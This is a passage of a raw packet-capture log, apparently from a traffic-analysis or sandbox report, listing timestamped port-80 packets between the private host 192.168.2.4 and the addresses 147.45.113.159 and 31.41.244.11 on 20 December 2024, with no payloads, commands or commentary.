Dec 20, 2024 04:12:49.883941889 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883966923 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884048939 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884078979 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884088039 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884167910 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884193897 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884202957 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884234905 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884252071 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884270906 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884284019 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884308100 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884361982 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884397984 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884413004 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884460926 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884470940 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884530067 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884531021 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.884574890 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884654999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.884696960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.884717941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.884728909 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884757996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.884809017 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884818077 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884826899 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884836912 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884877920 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.884928942 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885001898 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885011911 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885104895 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885114908 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885149002 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885190010 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885243893 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885253906 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885320902 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885338068 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885437965 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885447025 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885559082 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885643005 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885651112 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885679007 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885741949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.885787010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.885826111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.885835886 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885843992 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885875940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.885895967 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885905981 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885921955 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885931969 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.885997057 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.886013031 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.886065006 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.886864901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.886900902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.886908054 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.886934042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.887979984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.888019085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.888086081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.888119936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.889065027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.889103889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.889318943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.889369011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.890198946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.890238047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.890314102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.890353918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.891330004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.891367912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.891374111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.891383886 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.891391993 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.891443014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.892390966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.892436028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.892496109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.892535925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.893496990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.893541098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.893598080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.893645048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.894596100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.894639969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.894649029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.894691944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.895699024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.895735979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.895797014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.895838976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.896831989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.896874905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.896930933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.896967888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.897938967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.897979021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.898040056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.898081064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.899015903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.899060011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.899115086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.899153948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.900130033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.900172949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.900243044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.900279999 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.901221991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.901267052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.901331902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.901362896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.902297020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.902347088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.936173916 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.002120018 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.002182007 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.002283096 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.002293110 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.002329111 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.002696037 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:50.002811909 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:50.003597975 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003632069 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003707886 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003752947 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003806114 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003873110 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003926992 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.003988981 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004000902 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004065037 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004187107 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004209042 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004266024 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004348040 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004357100 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004417896 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004426003 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004550934 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004559040 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004652023 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004659891 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004713058 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004738092 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004837990 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004847050 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004921913 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.004930973 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005002022 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005018950 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005126953 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005198002 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005245924 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005311966 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005398035 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005410910 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005515099 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005522966 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005609989 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005616903 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005687952 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005702019 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005808115 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005815983 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005861998 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005901098 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005949974 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.005975008 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006063938 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006160021 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006169081 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006175041 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006242990 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006257057 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006386995 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:50.006711960 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:50.036459923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.036508083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.036510944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.036546946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.036943913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.036981106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.037009954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.037137032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.038048029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.038088083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.038155079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.038191080 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.039199114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.039239883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.039299965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.039345026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.040294886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.040332079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.040451050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.040484905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.041368961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.041412115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.041475058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.041516066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.042469025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.042519093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.042524099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.042552948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.043576002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.043627024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.043643951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.043683052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.044673920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.044713974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.044775963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.044812918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.045809984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.045849085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.045901060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.045933962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.046892881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.046936035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.047008038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.047048092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.047998905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.048044920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.048118114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.048158884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.049107075 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.049149036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.049211025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.049248934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.050225973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.050271988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.050329924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.050373077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.051304102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.051347971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.051415920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.051457882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.052423000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.052464008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.052694082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.052733898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.053531885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.053570986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.053627968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.053668976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.054646015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.054685116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.054836988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.054876089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.055742025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.055783987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.055850029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.055888891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.056838036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.056879997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.056962013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.056999922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.057950974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.057991028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.058036089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.058074951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.059078932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.059118986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.059180021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.059216976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.060169935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.060209990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.060273886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.060312986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.061269999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.061309099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.061372042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.061408043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.062386990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.062429905 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.062474012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.062519073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.063479900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.063520908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.063581944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.063617945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.064593077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.064634085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.064694881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.064732075 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.065707922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.065747976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.065823078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.065864086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.066816092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.066857100 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.066910982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.066947937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.069361925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.069405079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.070578098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.070588112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.070597887 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.070609093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.070620060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.070724964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.071482897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.071532011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.071657896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.071696043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.072348118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.072386980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.072463989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.072503090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.073456049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.073499918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.073626995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.073666096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.074551105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.074590921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.074784040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.074820042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.075664043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.075704098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.075778008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.075817108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.076780081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.076824903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.076889992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.076934099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.077877045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.077917099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.078031063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.078069925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.078989983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.079029083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.079088926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.079127073 CET	49875	80	192.168.2.4	31.41.244.11
